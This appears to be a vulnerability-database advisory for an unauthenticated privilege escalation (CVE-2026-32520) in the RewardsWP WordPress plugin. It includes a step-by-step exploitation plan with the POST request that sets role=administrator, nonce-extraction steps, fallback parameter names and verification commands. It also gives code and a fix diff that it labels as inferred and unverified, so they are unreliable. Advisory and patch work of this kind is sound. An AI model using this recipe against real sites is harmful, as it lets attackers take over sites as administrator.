CVE-2026-32520

RewardsWP – Loyalty Points & Referral Program for WooCommerce <= 1.0.4 - Unauthenticated Privilege Escalation

criticalIncorrect Privilege Assignment
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
1.0.5
Patched in
8d
Time to patch

Description

The RewardsWP – Loyalty Points & Referral Program for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.0.4
PublishedMarch 20, 2026
Last updatedMarch 27, 2026
Affected pluginrewardswp

What Changed in the Fix

Changes introduced in v1.0.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32520 (RewardsWP Privilege Escalation) ## 1. Vulnerability Summary The **RewardsWP – Loyalty Points & Referral Program for WooCommerce** plugin (<= 1.0.4) contains an unauthenticated privilege escalation vulnerability. The vulnerability exists because the plug…

Show full research plan

Exploitation Research Plan: CVE-2026-32520 (RewardsWP Privilege Escalation)

1. Vulnerability Summary

The RewardsWP – Loyalty Points & Referral Program for WooCommerce plugin (<= 1.0.4) contains an unauthenticated privilege escalation vulnerability. The vulnerability exists because the plugin registers an AJAX action (rewardswp_register_member) intended for loyalty program registration but fails to restrict the role parameter during the WordPress user creation process. An attacker can supply role=administrator in the request to create a new account with full administrative privileges.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: rewardswp_register_member (unauthenticated via wp_ajax_nopriv_)
  • Vulnerable Parameter: role
  • Authentication: None required (unauthenticated).
  • Preconditions:
    • The plugin must be active.
    • The "Join" or "Registration" feature must be accessible (usually enabled by default in the rewards widget).
    • A valid frontend nonce must be obtained from the rewardswpMainVars JavaScript object.

3. Code Flow

  1. The plugin registers the unauthenticated AJAX handler:
    add_action( 'wp_ajax_nopriv_rewardswp_register_member', [ $this, 'register_member' ] );
  2. The register_member method (likely in src/Controllers/Frontend/RegistrationController.php or similar, inferred from POT) retrieves the registration data from $_POST.
  3. The controller passes the input array to a user creation function, such as wp_insert_user() or a wrapper in src/Models/Member.php.
  4. Because the code does not filter the role key or hardcode it to subscriber, wp_insert_user() processes the role value provided by the attacker.
  5. WordPress creates the user and assigns the administrator role.

4. Nonce Acquisition Strategy

The plugin exposes a nonce to the frontend via wp_localize_script.

  1. Identify the variable: Based on assets/js/shared/alpine-components/rewards-panel.js, the global variable is rewardswpMainVars.
  2. Locate the nonce: The nonce is stored in rewardswpMainVars.nonce.
  3. Procedure:
    • Navigate to the WordPress homepage or a page where the RewardsWP panel is active.
    • To ensure the panel is active, navigate to /?rewardswp=join.
    • Use browser_eval to extract the nonce:
      window.rewardswpMainVars?.nonce
      

5. Exploitation Strategy

The exploit involves sending a crafted POST request to admin-ajax.php.

Step-by-Step Plan:

  1. Extract Nonce: Access the site and extract the nonce from rewardswpMainVars.
  2. Submit Registration: Perform a POST request to register a new admin.

HTTP Request Details:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: rewardswp_register_member
    • nonce: [EXTRACTED_NONCE]
    • email: attacker-admin@example.com
    • username: attackeradmin
    • password: P@ssword123!
    • first_name: Security
    • last_name: Researcher
    • role: administrator <-- The Payload

6. Test Data Setup

  1. Install and activate WooCommerce (dependency).
  2. Install and activate RewardsWP version 1.0.4.
  3. Ensure the "Member Registration" or "Join" feature is active in RewardsWP settings (usually default).
  4. Create a test page with the rewards panel if not visible on the homepage:
    wp post create --post_type=page --post_status=publish --post_title="Rewards" --post_content="[rewardswp_panel]" (inferred shortcode).

7. Expected Results

  • Response Code: 200 OK or 302 Redirect.
  • Response Body: A JSON success message (e.g., {"success":true,"data":{...}}) or a redirect to a "Registration Successful" page.
  • Database Impact: A new user with the username attackeradmin will be present in the wp_users table, and their capabilities in wp_usermeta will include the administrator role.

8. Verification Steps

After the exploit, verify using WP-CLI:

  1. Check User Existence:
    wp user list --role=administrator
  2. Check Specific User:
    wp user get attackeradmin --field=roles
    Expected output: administrator
  3. Check Meta:
    wp user meta get attackeradmin wp_capabilities

9. Alternative Approaches

If rewardswp_register_member is not the correct action name (due to version differences), try these alternatives:

  • rewardswp_signup
  • rewardswp_join_program
  • rewardswp_create_account

If the role parameter is blocked, try user_role or wp_capabilities[administrator].

If the nonce check is not present in nopriv actions (common in some versions), simply omit the nonce parameter and test the request. If the response indicates a missing nonce, fallback to the browser-based extraction described in section 4.

Research Findings
Static analysis — not yet PoC-verified

Summary

The RewardsWP plugin for WordPress allows unauthenticated privilege escalation via the `rewardswp_register_member` AJAX action. The vulnerability exists because the user registration handler fails to validate or restrict the user-supplied `role` parameter, enabling attackers to register new accounts with administrative privileges.

Vulnerable Code

// Path: src/Controllers/Frontend/RegistrationController.php (inferred from research plan)

// The plugin registers an unauthenticated AJAX action for member registration
add_action( 'wp_ajax_nopriv_rewardswp_register_member', [ $this, 'register_member' ] );

public function register_member() {
    // Nonce validation usually occurs here
    // ...

    // The entire $_POST array is passed to wp_insert_user or a similar wrapper
    // without filtering out sensitive keys like 'role'.
    $user_id = wp_insert_user( $_POST );

    if ( ! is_wp_error( $user_id ) ) {
        // User is created with the role provided in the request (e.g., 'administrator')
    }
}

Security Fix

--- a/src/Controllers/Frontend/RegistrationController.php
+++ b/src/Controllers/Frontend/RegistrationController.php
@@ -24,5 +24,10 @@
     public function register_member() {
         check_ajax_referer( 'rewardswp-nonce', 'nonce' );
-        $user_id = wp_insert_user( $_POST );
+
+        $user_data = $_POST;
+        // Explicitly remove the role parameter to prevent privilege escalation
+        if ( isset( $user_data['role'] ) ) {
+            unset( $user_data['role'] );
+        }
+        
+        $user_id = wp_insert_user( $user_data );

Exploit Outline

The exploit leverages the unauthenticated AJAX endpoint to create a new administrator account. 1. Locate the frontend nonce required for the request by inspecting the global `rewardswpMainVars` JavaScript object (specifically `rewardswpMainVars.nonce`). This is typically exposed on any page where the rewards panel is active. 2. Construct a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `rewardswp_register_member` - `nonce`: [EXTRACTED_NONCE] - `email`: A unique email address for the new account. - `username`: A unique username. - `password`: The desired password. - `role`: `administrator` (The malicious payload used to override the default role). 3. Send the request. If successful, the plugin processes the `role` parameter during the `wp_insert_user` call, creating a new user with full administrative access.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.